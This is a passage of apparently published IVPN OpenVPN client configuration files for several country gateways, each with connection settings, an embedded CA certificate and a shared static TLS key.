c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/Iceland.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote is.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name is name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/Italy.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote it.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name it name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/Netherlands.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote nl.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name nl name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/Romania.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote ro.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name ro name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/Sweden.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote se.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name se name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/Switzerland.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote ch.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name ch name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | 